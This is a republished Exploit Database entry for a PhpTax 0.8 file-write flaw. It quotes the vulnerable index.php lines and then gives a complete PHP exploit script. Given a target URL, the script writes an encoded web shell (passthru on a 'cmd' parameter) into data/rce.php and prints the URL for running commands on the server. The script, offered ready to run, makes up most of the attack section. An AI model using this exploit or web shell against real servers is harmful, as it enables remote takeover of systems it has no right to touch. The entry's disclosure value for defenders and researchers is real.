PhpTax 0.8 – File Manipulation ‘newvalue’ / Remote Code Execution

Exploit Database
120 阅读

作者： CWH Underground

日期： 2013-05-31
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/25849/

#,--^----------,--------,-----,-------^--,

#| ||||||||| <code>--------' |O .. CWH Underground Hacking Team ..

#</code>+---------------------------^----------|

#<code>\_,-------, _________________________|

#/ XXXXXX /</code>| /

# / XXXXXX /<code>\ /

#/ XXXXXX /\______(

# / XXXXXX /

#/ XXXXXX /

# (________(

#</code>------'

# Exploit Title : PhpTax File Manipulation(newvalue,field) Remote Code Execution

# Date: 31 May 2013

# Exploit Author: CWH Underground

# Site: www.2600.in.th

# Vendor Homepage : http://phptax.sourceforge.net/

# Software Link : http://sourceforge.net/projects/phptax/

# Version : 0.8

# Tested on : Window and Linux

#####################################################

#VULNERABILITY: FILE MANIPULATION TO REMOTE COMMAND EXECUTION

#####################################################

#index.php

#LINE 32: fwrite fwrite($zz, "$_GET['newvalue']");

#LINE 31: $zz = fopen("./data/$field", "w");

#LINE2: $field = $_GET['field'];

#####################################################

#DESCRIPTION

#####################################################

#An attacker might write to arbitrary files or inject arbitrary code into a file with this vulnerability.

#User tainted data is used when creating the file name that will be opened or when creating the string that will be written to the file.

#An attacker can try to write arbitrary PHP code in a PHP file allowing to fully compromise the server.

#####################################################

#EXPLOIT

#####################################################

<?php

$options = getopt('u:');

if(!isset($options['u']))

die("\nUsage example: php exploit.php -u http://target.com/ \n");

$url =$options['u'];

$shell = "{$url}/index.php?field=rce.php&newvalue=%3C%3Fphp%20passthru(%24_GET%5Bcmd%5D)%3B%3F%3E";

$headers = array('User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)',

'Content-Type: text/plain');

echo "[+] Submitting request to: {$options['u']}\n";

$handle = curl_init();

curl_setopt($handle, CURLOPT_URL, $url);

curl_setopt($handle, CURLOPT_HTTPHEADER, $headers);

curl_setopt($handle, CURLOPT_RETURNTRANSFER, true);

$source = curl_exec($handle);

curl_close($handle);

if(!strpos($source, 'Undefined variable: HTTP_RAW_POST_DATA') && @fopen($shell, 'r'))

{

echo "[+] Exploit completed successfully!\n";

echo "______________________________________________\n\n{$url}/data/rce.php?cmd=id\n";

}

else

{

die("[+] Exploit was unsuccessful.\n");

}

################################################################################################################

# Greetz: ZeQ3uL, JabAv0C, p3lo, Sh0ck, BAD $ectors, Snapter, Conan, Win7dos, Gdiupo, GnuKDE, JK, Retool2

################################################################################################################